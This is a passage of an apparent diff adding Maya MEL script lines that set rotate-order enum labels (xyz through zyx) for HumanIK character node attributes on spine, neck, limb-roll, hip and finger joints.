"Spine5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 